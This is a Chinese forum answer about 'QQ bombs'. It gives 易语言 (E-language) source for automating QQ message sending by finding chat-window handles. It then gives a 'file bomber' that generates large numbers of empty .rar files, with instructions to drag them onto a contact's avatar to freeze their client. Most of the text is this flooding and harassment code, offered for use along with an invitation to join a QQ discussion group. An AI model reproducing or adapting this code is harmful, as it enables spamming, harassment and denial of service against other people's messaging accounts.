QQ炸彈的原理是通過大量無用消息造成QQ用戶死機，現在的系統配置都高了，所以基本上沒有妳說的這種QQ炸彈。不過為妳提供壹下QQ發送消息源碼：
.版本 2
.程序集 窗口程序集1
.子程序 __啟動窗口_創建完畢
找聊天窗口 ()
找發送窗口 ()
找發送按鈕 ()
標簽1.標題 ＝ “QQ聊天窗口句柄=” ＋ 到文本 (聊天窗口句柄) ＋ #換行符 ＋ “發送窗口句柄=” ＋ 到文本 (發送窗口句柄) ＋ #換行符 ＋ “發送按鈕句柄=” ＋ 到文本 (發送按鈕句柄)
.子程序 窗口名, 文本型
.參數 窗口句柄, 整數型
.局部變量 名長, 整數型
.局部變量 名, 文本型
名長 ＝ 取窗口標題長度 (窗口句柄)
.如果真 (名長 ≤ 0)
返回 (“”)
.如果真結束
名 ＝ 取空白文本 (名長)
取窗體標題 (窗口句柄, 名, 名長 ＋ 1)
返回 (名)
.子程序 找聊天窗口
.局部變量 n, 整數型
.局部變量 標題, 文本型
.局部變量 x, 整數型, 靜態
n ＝ 1
.判斷循環首 (n ≠ 0)
n ＝ 查找子窗口 (0, x, “#32770”, 0)
x ＝ n
標題 ＝ 窗口名 (n)
.如果真 (尋找文本 (標題, “聊天”, , 假) ≠ -1 或 尋找文本 (標題, “發送消息”, , 假) ≠ -1)
聊天窗口句柄 ＝ n
跳出循環 ()
.如果真結束
.判斷循環尾 ()
.子程序 找發送窗口
.局部變量 n, 整數型
n ＝ 查找子窗口 (聊天窗口句柄, 0, “#32770”, 0)
n ＝ 查找子窗口 (n, 0, “AfxWnd42”, 0)
發送窗口句柄 ＝ 查找子窗口 (n, 0, “RICHEDIT”, 0)
.子程序 找發送按鈕
.局部變量 n, 整數型
.局部變量 x, 整數型
n ＝ 查找子窗口 (聊天窗口句柄, 0, “#32770”, 0)
.判斷循環首 (n ≠ 0)
x ＝ 查找子窗口 (n, x, “Button”, 0)
.如果真 (尋找文本 (窗口名 (x), “發送”, , 假) ≠ -1)
發送按鈕句柄 ＝ x
跳出循環 ()
.如果真結束
.如果真 (x ＝ 0)
跳出循環 ()
.如果真結束
.判斷循環尾 ()
.子程序 _按鈕1_被單擊
發送消息 (發送窗口句柄, 177, 0, “-1”)
發送消息 (發送窗口句柄, 194, 1, 編輯框1.內容)
發送消息 (發送按鈕句柄, 245, 0, “0”)
.子程序 _按鈕2_被單擊
__啟動窗口_創建完畢 ()
QQ文件轟炸機
通過大量無用文件造成QQ用戶死機
.版本 2
.程序集 窗口程序集1
.程序集變量 次數, 整數型
.子程序 _按鈕1_被單擊
.判斷開始 (編輯框1.禁止 ＝ 假)
編輯框1.禁止 ＝ 真
.默認
.判斷結束
.判斷開始 (文件是否存在 (取運行目錄 () ＋ “wj”) ＝ 假)
創建目錄 (“哈哈”)
.默認
.判斷結束
.計次循環首 (到數值 (編輯框1.內容), 次數)
寫配置項 (取運行目錄 () ＋ “\哈哈\” ＋ 到文本 (次數) ＋ “.rar”, “”, “”, “”)
處理事件 ()
標簽1.標題 ＝ “已生成” ＋ 到文本 (次數) ＋ “個文件”
進度條1.位置 ＝ 次數
.計次循環尾 ()
信息框 (“全部文件已經生成完畢，生成的文件在文件夾 哈哈 裏面” ＋ #換行符 ＋ “把生成的文件拖到QQ頭像就可以了，轟炸時請不要運行其他程序！”, 0, “完成”)
進度條1.位置 ＝ 1
編輯框1.禁止 ＝ 假
標簽1.標題 ＝ “”
.子程序 _編輯框1_內容被改變
進度條1.最大位置 ＝ 到數值 (編輯框1.內容)
同時歡迎您加群討論：67877328